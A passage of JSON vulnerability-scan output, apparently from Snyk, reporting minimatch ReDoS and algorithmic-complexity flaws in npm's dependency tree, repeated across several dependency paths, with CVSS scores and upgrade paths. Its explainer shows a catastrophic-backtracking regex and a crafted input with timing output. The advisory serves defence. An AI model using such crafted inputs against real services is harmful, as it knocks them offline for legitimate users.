References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they 